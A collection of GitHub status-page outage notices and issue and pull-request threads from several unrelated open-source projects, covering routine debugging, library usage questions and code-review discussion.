Resolved: ChatGenie Client API is back up in 660df35.


text:
🛑 ChatGenie Client API is down

In 4161351, ChatGenie Client API ($CHATGENIE_CLIENT_API) was down:

HTTP code: 0
Response time: 0 ms

Resolved: ChatGenie Client API is back up in 9c92b04 after 18 minutes.


text:
🛑 ChatGenie Client API is down

In 44fa79a, ChatGenie Client API ($CHATGENIE_CLIENT_API) was down:

HTTP code: 0
Response time: 0 ms

Resolved: ChatGenie Client API is back up in 2aee57c.


text:
🛑 ChatGenie Client API is down

In a01a7bf, ChatGenie Client API ($CHATGENIE_CLIENT_API) was down:

HTTP code: 0
Response time: 0 ms

Resolved: ChatGenie Client API is back up in 0c33119.


text:
🛑 ChatGenie Client API is down

In 66ddb4b, ChatGenie Client API ($CHATGENIE_CLIENT_API) was down:

HTTP code: 0
Response time: 0 ms

Resolved: ChatGenie Client API is back up in b27d7e9.


text:
🛑 GitHub Mirror is down

In f912cf5, GitHub Mirror (https://gh.chapro.xyz) was down:

HTTP code: 500
Response time: 46 ms

Resolved: GitHub Mirror is back up in 06bbb5e after 5 minutes.

repo: mchaNetwork/status


text:
🛑 GitHub Mirror is down

In 4acf6ba, GitHub Mirror (https://gh.chapro.xyz) was down:

HTTP code: 500
Response time: 45 ms

Resolved: GitHub Mirror is back up in 3470539 after 5 minutes.


text:
Export disable property

Hello,
Thanks for the great work done with this!
I've got a question though. Im using the CSV,Excel,PDF export buttons. I have a hidden column which i must have, but i dont want to export. Is there some property attribute which skips the export for a particular property ?
  [DataTables(Visible = false)]
  public VACATIONS Vacation { get; set; }

Thanks!

I'm not sure... You'll have to look up the docs for datatables and the
visibility and for export plugins.
If you find how to do it in JavaScript we can extend the library to use
those settings.
On Tue, 27 Mar 2018, 18:58 rauntska, notifications@github.com wrote:

Hello,
Thanks for the great work done with this!
I've got a question though. Im using the CSV,Excel,PDF export buttons. I
have a hidden column which i must have, but i dont want to export. Is there
some property attribute which skips the export for a particular property ?
[DataTables(Visible = false)]
public VACATIONS Vacation { get; set; }
Thanks!
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/mcintyre321/mvc.jquery.datatables/issues/171, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAQ0-mfDfK5wv6l1nbmKWvZlbo5kor7Xks5tin3IgaJpZM4S9X1m
.

Found it   [DataTablesExclude] does the trick.
        [DataTablesExclude]
        [DataTables(Visible = false)]
        public VACATIONS Vacation { get; set; }

It's been a while since I've used the library! Glad to see you're getting
on with it. Are you using it with mvc5 or core?
On Tue, 27 Mar 2018, 20:50 rauntska, notifications@github.com wrote:

Found it [DataTablesExclude] does the trick.
    [DataTablesExclude]
    [DataTables(Visible = false)]
    public VACATIONS Vacation { get; set; }

—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/mcintyre321/mvc.jquery.datatables/issues/171#issuecomment-376652370,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAQ0-h7epX7x2oOBuXGuK3SvNPSFxNuhks5tipf-gaJpZM4S9X1m
.


text:
Format messages

Format messages using some function similar to java's String.format

Use mckatoo/align-text

repo: mckatoo/whatsapp-bot


text:
update readme

after making changes, need a better intro / readme for highlighting the purpose of this repo

use-case and purpose of this repo is to provide a set of examples for implementing other languages. this could be inspiration or implementation of specific algorithms, or in some cases just snippets of code to help a programmer remember how to structure part of a language and certain features available within.

repo: mckennapsean/code-examples


text:
Sever not reaching Internet

Hello,
I set up Rust-server on my unRaid server, and for some reason, I am unable to get my rust server to reach the Internet, however it appears to be running fine on my home network.  I have an Orbi and a Verizon FIOS router, I turned on port forwarding for 28015 and 28016 through both routers, yet it is still not reaching the Internet.  Please let me know what I should do.
Thank you!

I'm having the same problem. Can connect to the server internally but it won't show up in the server list, or be accessible from the internet. Watched the log as it started up and saw this, which may be important:
Starting web server..
nginx: [emerg] bind() to 0.0.0.0:8080 failed (98: Address already in use)
nginx: [emerg] bind() to 0.0.0.0:8080 failed (98: Address already in use)
nginx: [emerg] bind() to 0.0.0.0:8080 failed (98: Address already in use)
nginx: [emerg] bind() to 0.0.0.0:8080 failed (98: Address already in use)
nginx: [emerg] bind() to 0.0.0.0:8080 failed (98: Address already in use)
nginx: [emerg] still could not bind()

Resolved the NGINX thing by changing the HTTP port for UnRaid. Server still won't show in the list, but I'm blaming my own port forwarding at the moment

authors: Ihatetotank donniecaison


text:
Dynamic require of "tw-elements/dist/plugin" is not supported

package.json

"devDependencies": {
    "@sveltejs/vite-plugin-svelte": "^1.0.0-next.30",
    "@tsconfig/svelte": "^2.0.1",
    "autoprefixer": "^10.4.7",
    "postcss": "^8.4.13",
    "sass": "^1.51.0",
    "svelte": "^3.44.0",
    "svelte-check": "^2.2.7",
    "svelte-preprocess": "^4.9.8",
    "tailwindcss": "^3.0.24",
    "tslib": "^2.3.1",
    "typescript": "^4.5.4",
    "vite": "^2.9.7"
  },
  "dependencies": {
    "tw-elements": "^1.0.0-alpha12"
  }

tailwind.config.cjs

module.exports = {
  content: [
    './index.html',
    './src/**/*.{svelte,js,ts}'
  ],
  theme: {
    extend: {},
  },
  plugins: [require('tw-elements/dist/plugin')],
};

Error: Dynamic require of "tw-elements/dist/plugin" is not supported

I'm having a similar issue with Nuxt 3 + TailwindCSS

package.json

 "devDependencies": {     "nuxt": "3.0.0-rc.1"   },   "dependencies": {     "tw-elements": "^1.0.0-alpha12"   }

tailwind.config.js

module.exports = {   content: ['./**/*.{html,js,vue}', './node_modules/tw-elements/dist/js/**/*.js'],   plugins: [require('tw-elements/dist/plugin.js')], }

Error

Uncaught SyntaxError: The requested module '/_nuxt/plugins/tw-elements.js' does not provide an export named 'default' (at client.mjs:5:8)

<script lang="ts">
  import { onMount } from "svelte";
  import "../styles/globals.css";

  // import tw-elements with no SSR
  onMount(async () => {
    await import("tw-elements");
  });
</script>

<slot />

module.exports = {
  content: [
    "./src/**/*.{html,js,svelte,ts}",
    "./node_modules/tw-elements/dist/js/**/*.js",
  ],
  theme: {
    extend: {},
  },
  plugins: [require("tw-elements/dist/plugin")],
};

this worked for me on svelte-kit

@carlos-dubon could you try to see if the timepicker works? I get the datepicker working but not the timepicker with your config.

@carlos-dubon  about datepicker, does your it stop working for you when switching between prefetched svelte tabs? It only works for me on hard manual browser refresh, not coming from another route 😞

Hi, Tailwind Elements in the newewst version (beta1 released a two weeks ago) works fine with Svelte - you got to import library in lifecycle method like @carlos-dubon showed. Timepicker on the other hand is not working indeed but this is our problem which was already solved. Proper fix will be released with beta2.
FYI in a couple of days we are going to publish bunch of tutorials how to integrate TE with most popular CSR and SSR frameworks.

Hi, we just have launched bunch of integration tutorials - both with CSR and SSR frameworks. If you have more questions about integration or you still got some problems with particular components, let us know by adding new issue / topic in discussions section (if there are some unclear informations or just want let us know about something).

authors: Trochonovitz carlos-dubon domgom jerrypena1 sysmat

repo: mdbootstrap/Tailwind-Elements


text:
Select component duplication

The same Select component appears 2 times while is imported only once.
I am working with nuxt 3 js, i realised that when using the Tab component with the Select component the second one is initalized more then one time, which will reproduce repetition for the Select component.

Hi, could you maybe show us some code or maybe give more clues on how to recreate this? I've tried to put the select component outside the tab component and inside one of its tabs and didn't see the issue. I may have missed something here.
Or maybe you mean the element with data-te-select-wrapper-ref attribute next to the native select element? This one is ok, since we want to keep the native select in case of disposing the Tailwind Elements Select.
Best Regards!

Hello first of all thanks for the awesome plugin! I also experience this issue when changing page when returned to the page where the select component resides, it seems being re-rendered again. I also try doing it multiple times but it duplicates once (until 2 elements). I only have these simple component for trying it out, thanks a lot in advance!
`
Option 1
Option 2

`
I'm using these versions:
"tw-elements": "^1.0.0-beta2",
"vite": "^4.0.0",
"vite-plugin-s3": "^1.0.2",
"vue": "^3.2.31",

@kgallarin do you have anything else in a template where you put the select component? I tried to play a bit with routing and new vue app and when inside my view page I had only the select component it started to init everytime I changed the route. When i added even an empty  it stopped doing this. Maybe you could give it a try?
The other thing to try is to maybe check whether the initTE was already called inside the component:
const inited = ref(false);

onMounted(() => {
  !inited.value && initTE({ Select });
  inited.value = true;
});

... or maybe add a wrapper for select and check if inside the wrapper there is already an element with data-te-select-wrapper-ref attribute?

Thanks for your time and support @juujisai! Worked like a charm

authors: juujisai kgallarin kingdomac


text:
Added --properties-allowed switch and retries to test.

This is part of reducing cardinality. The JUnit XML from Ginkgo and gotestsum contains arbitrary properties we don't want pushed to our metrics system.

Adds new flag that allows defining an allowed list of properties
Added retry package and used to improve test reliability
Updates junit-go to latest version

Let's rebase and resolve conflicts first 🙏

I've rebased and resolved conflicts. This was the branch that originally included the retry changes. Are you wanting those removed?

I think the branch still has conflicts, probably gotten from the retry, so yeah, let's remove them by now, as they sleep was not needed anymore with the wait.ForFile strategy in the tests

The conflicts are from the PR that was marge after I resolved the conflicts from the earlier merge.
The test is much faster without the 30s wait. I will resolve the conflicts in the morning.

I tried it without the retry and I randomly get:
=== RUN   Test_Main_SampleXML
    main_test.go:187: could not get the collector port: port "4317/tcp" not found
2024/12/20 07:43:31 failed to upload metrics: failed to exit idle mode: dns resolver: missing port after port-separator colon
2024/12/20 07:43:31 traces export: failed to exit idle mode: dns resolver: missing port after port-separator colon
    main_test.go:236: expected 2 JSONs, got 1 - []
--- FAIL: Test_Main_SampleXML (5.62s)
panic: runtime error: index out of range [1] with length 1 [recovered]
	panic: runtime error: index out of range [1] with length 1

I've resolved the merge conflicts and am switching the port retry to use wait.

authors: mdelapenya ryanrolds


text:
[HOTFIX] removed expensive logger initialization for every indicator

Fixes #.
Logger initialisation is quite expensive. The current code creates a Logger in the heap for any Indicator since it is referenced in the AbstractIndicator class. The only place where the Logger is actually used is in the CacheIndicator.
Changes proposed in this pull request:

Removed the final instance in the AbstractIndicator and replaced with a final static indicator in the CacheIndicator class

Refused, sorry.

Static loggers have advantages AND disadvantages (see http://www.slf4j.org/faq.html#declared_static). I think that switching from one approach to the other one needs a deep thought about it.

As the logger is initialized when instanciating the indicator, it's not a problem if this initialization is relatively expensive. Normally all the indicators are constructed at the "strategy building" step and not at the "strategy running" one (where you may need performance).

Loggers are not only used to manage cached values. Also they are here to provide a way to trace the behavior of a strategy (see https://github.com/mdeverdelhan/ta4j/blob/master/ta4j-examples/src/main/java/ta4jexamples/logging/StrategyExecutionLogging.java). However this may evolve if can find a better way to achieve that.

authors: davassi mdeverdelhan


text:
Need help with an error

Hi, great project.
Been using it fine via the sonnar/mp4 docker.
Had to do a full reinstall of my server today and came across this error;
Starting conversion.
[######### ] 99%Traceback (most recent call last):
File "manual.py", line 370, in
main()
File "manual.py", line 361, in main
processFile(path, tagdata)
File "manual.py", line 219, in processFile
output = converter.process(inputfile, True)
File "/sickbeard_mp4_automator/mkvtomp4.py", line 199, in process
outputfile, inputfile = self.convert(inputfile, options, reportProgress)
File "/sickbeard_mp4_automator/mkvtomp4.py", line 747, in convert
for timecode in conv:
File "/sickbeard_mp4_automator/converter/init.py", line 243, in convert
timeout=timeout, preopts=preopts, postopts=postopts):
File "/sickbeard_mp4_automator/converter/ffmpeg.py", line 534, in convert
cmd = ' '.join(cmds)
TypeError: sequence item 24: expected string or Unicode, int found
Not really sure what this is about, I have checked permissions of the index file and the owner, that seems to be ok. Did some googling but nothing has come back so posting it on here hoping someone knows what what. Funny thing is it gets to 99% and does this, the file is mp4 with the correct audio and seems to play fine.
Thanks,
Kinv

This was due to a bug I introduced recently
It’s since been fixed, just update the docker image

On Sep 10, 2018, at 7:14 PM, kinv notifications@github.com wrote:
Hi, great project.
Been using it fine via the sonnar/mp4 docker.
Had to do a full reinstall of my server today and came across this error;
Starting conversion.
[######### ] 99%Traceback (most recent call last):
File "manual.py", line 370, in
main()
File "manual.py", line 361, in main
processFile(path, tagdata)
File "manual.py", line 219, in processFile
output = converter.process(inputfile, True)
File "/sickbeard_mp4_automator/mkvtomp4.py", line 199, in process
outputfile, inputfile = self.convert(inputfile, options, reportProgress)
File "/sickbeard_mp4_automator/mkvtomp4.py", line 747, in convert
for timecode in conv:
File "/sickbeard_mp4_automator/converter/init.py", line 243, in convert
timeout=timeout, preopts=preopts, postopts=postopts):
File "/sickbeard_mp4_automator/converter/ffmpeg.py", line 534, in convert
cmd = ' '.join(cmds)
TypeError: sequence item 24: expected string or Unicode, int found
Not really sure what this is about, I have checked permissions of the index file and the owner, that seems to be ok. Did some googling but nothing has come back so posting it on here hoping someone knows what what. Funny thing is it gets to 99% and does this, the file is mp4 with the correct audio and seems to play fine.
Thanks,
Kinv
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/mdhiggins/sickbeard_mp4_automator/issues/928, or mute the thread https://github.com/notifications/unsubscribe-auth/ADcO6tfJ6tnZ11w9Gn6WWl8mKpeHDkq4ks5uZvJhgaJpZM4WiVFY.

What docker image are you using? I have my own that I maintain that has been updated and is working now
Sent from my iPhone

On Sep 11, 2018, at 5:24 PM, kinv notifications@github.com wrote:
Thanks for the reply!
Unfortunately this did not fix my issue. The docker image was only installed yesterday. But I redeployed the image with the :latest tag all the same. No change in this error. I guess the maintainer of the Docker image hasn't updated yet. I will wait for this to be updated.
Thanks again, At least I know its not an error from this project now.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

aront/sonarr, docker page says last push 5 days ago. Radarr was updated yesterday and is fixed.

@kinv you don't need another container, if you would have checked the dockerfile it pulls this repo from github the moment it rolls out as a new container form the image. Or you can docker console into your sonar/radarr container and run these commands in de /sickbeard_mp4_automator folder: "git reset --hard" and "git pull"

authors: AciDCooL kinv mdhiggins


text:
Implement high-priority mitigations for Codepen integration

User story
As a MDN developer, I want to implement the high-priority mitigations from the Codepen Rapid Risk Assessment (RRA), so we continue on the next phase of the API examples project and reduce the risk on MDN.
Acceptance criteria

High-priority mitigations are implemented
(Alternative) Codepen integration is disabled until mitigations can be addressed

@jwhitlock During the meeting I had with @atopal and @wbamberg we decided to remove the Codepen and related code during this(upcoming) sprint:
https://github.com/mdn/sprints/issues/947
I guess this would then meet the alternate acceptance criteria for this issue. In the next sprint, we should then decide how we want to move forward and include the suggested security mitigations as part of that work. Sound good?

Sounds good to me.

Soundd good??

One of the items we will need to address here is using SRI for the script we are loading from Codepen. More can be read about it here:
https://hacks.mozilla.org/2016/04/how-to-implement-sri-into-your-build-process/
There is a Webpack plugin to help with this:
https://www.npmjs.com/package/webpack-subresource-integrity

Note to self: Remember to follow up with this bug once we pick this up again:
https://bugzilla.mozilla.org/show_bug.cgi?id=1522766

repo: mdn/sprints


text:
Is it possible to only have one valid OTP at a given time?

Hi. I'd like to implement something like what PayPal does, but I haven't been able to figure out if it's possible with rotp.
When you request an initial OTP from PayPal to be sent to your mobile phone, you receive the code and a message that it will expire in 5 minutes. If you then request a new OTP, the old one immediately becomes invalid, but the new one remains valid for 5 minutes.
How can this be achieved with rotp?
Thanks!

So I'd probably just do this manually without involving ROTP. ROTP (The HOTP/TOTP spec) is based on the idea of the end user and the server sharing a secret. This allows the end user to generate a code on their device (ex Google Authenticator) and you don't need to send it to them. This works great for many cases, but it doesn't allow you to easily create a new code on the fly, instead you have to just wait until the next code is generated(30s-60s). The best example of this is Google 2FA with the Google Authenticator app.
To replicate the Paypal 2FA experience, I'd just store a server side generated code and expiration on the user and send it to their phone (SMS or some other push). If they request a new token, just regenerate a new code and overwrite the old one. As for generating the code, just use a cryptographically secure random number generator (SecureRandom) to create the 6-8 digit code.
The benefits of the ROTP(TOTP) is that you don't have to send codes to the end user (no SMS cost). The downside is that the end user has to install an app and set it up properly.
Hope that helps. Feel free to reopen if you have any other questions.

Thanks! That was very clear and helpful.

authors: mdp monfresh

repo: mdp/rotp


text:
Fix broken method call in example app

The call to ORKAnswerFormat's -initWithMaximumValue:minimumValue:defaultValue:step: is incorrect in the example app as -initWithMaximumValue:minimumValue:step:defaultValue:

I got this.

PR merged. Closing.

repo: mdsol/MORK


text:
Cannot run cli magento-installer

Trying on latest W10. Is it trying to create a folder with ':' in it?
`PS C:\laragon\www\docker\meanbee-magento2-01> docker-compose run cli magento-installer
Starting meanbee-magento2-01_appdata_1 ...
Starting meanbee-magento2-01_dbdata_1  ... done
Starting meanbee-magento2-01_db_1      ... error
Starting meanbee-magento2-01_appdata_1 ... done
ERROR: for meanbee-magento2-01_db_1  Cannot start service db: b'driver failed programming external connectivity on endpoint meanbee-magento2-01_db_1 (f28f7150288a8a38e7f5d03d74c0e9f20383a97b1043a4c3e3126c01e877b14b): Error starting userland proxy: mkdir /port/tcp:0.0.0.0:32827:tcp:172.22.0.4:3306: input/output error'
ERROR: for db  Cannot start service db: b'driver failed programming external connectivity on endpoint meanbee-magento2-01_db_1 (f28f7150288a8a38e7f5d03d74c0e9f20383a97b1043a4c3e3126c01e877b14b): Error starting userland proxy: mkdir /port/tcp:0.0.0.0:32827:tcp:172.22.0.4:3306: input/output error'
ERROR: Encountered errors while bringing up the project.`

Edit: seems that the docker installation has common issues not related to this project.


text:
Dynamic manifest and favicon generation

Add dynamic manifest.json and favicons generation, based on this guide.

One significant advantage of generating favicons dynamically is cache busting. When you update your favicon, browsers might still serve the old one from cache. By generating favicons dynamically, you can ensure that the latest version is served, as, if they have changed, each build will create new, uniquely named files that bypass the cache.

Additionally, it allows automatic generation and optimization of different types and sizes of icons from single source images.

LGTM, thank you @tribal2!

repo: mearashadowfax/ScrewFast


text:
Unable to deselect OS versions from filters

Description
Unable to deselect OS versions from filters, see video for details.
https://github.com/user-attachments/assets/0f1e1287-955c-4105-89fd-b01bf9b5e8d7

Unable to reproduce this. Closing.

authors: abhaysood anupcowkur

repo: measure-sh/measure


text:
Add a last rescraped time to sources

Add last rescraped time to a source

source get this time edited at the end of Source._scrape_source

Added to source page

Added to source list for collection page

as noted in #788 comments, more can be added in future utilizing this column

closes #788

After comments on the issue going to add last_rescrape_details or something of the sort, to record the feeds added message

added last_rescraped_msg column to Source table
added message to source show page

Additionally made the changes Phil suggested in #788 of adding a line in for logging

repo: mediacloud/web-search


text:
Improve npm scripts and add script comments

Added a cleaner structure to the naming of npm scripts, where the new
format also support the npm-run-all sub-script wildcards (e.g.
npm-run-all clean:*).
Added a scriptsComment block that has a description for each task.
This is the only method that is not removed when a third party script
changes the package.json (e.g. npm i -D foo).
Update the .travis.yml file to reflect the new changes, and explicitly
specify what scripts to run in travis. Now the test script runs actual
tests, and the validate script does validation + tests, which is
called in travis and with the pre-push hook.
Introduced the shx (shelljs cli wrapper) module so we can use unix
commands in npm scripts that are execute cross-platform in node.
This was needed for moving files (when generating the npm sources),
and also replaces rimraf.

LGTM

repo: mediamonks/seng-boilerplate


text:
Do Current Multi-Task Optimization Methods in Deep Learning Even Help?

我实验下来也这样，在我的网络里提升有限。
大佬，你怎么看这篇paper
https://arxiv.org/pdf/2209.11379.pdf

这些都是要case by case讨论的，MTL research在optimization的研究一般都是基于最简单的HPS结构，而实际场景中的网络会更加复杂，可能导致这些optimization的方法不work

大佬，那在多任务里，除了梯度策略、网络架构，还有其它对提点有帮助的技术吗

根据实际场景的问题去设计特定的网络结构应该是最有效的方法，但这并不通用

我理解多任务学习要解决的最主要的问题就是任务间的冲突。
根本解决的办法是设计一种网络，共享部分是多任务的耦合部分，每个任务独享的网络部分是任务独有的特征（任务间的冲突特征），那就会对模型预测效果有最明显的提升，是吗？

根据实际场景的问题去设计特定的网络结构应该是最有效的方法，但这并不通用

在特定问题下可以利用问题的先验信息去设计网络结构，但这并不是通用方法，比如MTAN引入了attention可以解决很多CV的感知任务但很难被用于其他领域比如NLP。相比之下，optimization的研究是比较通用的

根据实际场景的问题去设计特定的网络结构应该是最有效的方法，但这并不通用

在特定问题下可以利用问题的先验信息去设计网络结构，但这并不是通用方法，比如MTAN引入了attention可以解决很多CV的感知任务但很难被用于其他领域比如NLP。相比之下，optimization的研究是比较通用的
@Baijiong-Lin
大佬，在CV的感知任务这一块，除了MTAN的attention模块，其它还有推荐的吗？比如MMOE这种门电路的结构可以用吗，或者其它的。

MMoE理论上肯定能用，但效果未知。你可以看看这篇survey：Multi-Task Learning for Dense Prediction Tasks: A Survey

MMoE理论上肯定能用，但效果未知。你可以看看这篇survey：Multi-Task Learning for Dense Prediction Tasks: A Survey

看了，我做cv的感知，想试试MTAN和PAD-Net。这篇综述里也说了，优化策略还不如超参数的网格搜索。我把你开源的optimization都试了个遍，结果发现最有效的居然是GLS。您对类似yolop，yolopv2这一类硬参数共享的文章在不大幅增加FLOPS的基础上，有啥改进建议嘛？
yolop:https://arxiv.org/pdf/2108.11250.pdf
yolopv2:https://arxiv.org/pdf/2208.11434.pdf

在我们的实验里，GLS在有些dataset上表现不错但在另一些dataset上表现不佳。我对yolop这类的工作不太熟悉。

谢谢

authors: Baijiong-Lin yushengjiexy

repo: median-research-group/LibMTL


text:
Fix olm dashboard errors

Fixing OLM Dashboard errors for poison pill.
Jira Ticket

/cherry-pick release-0.3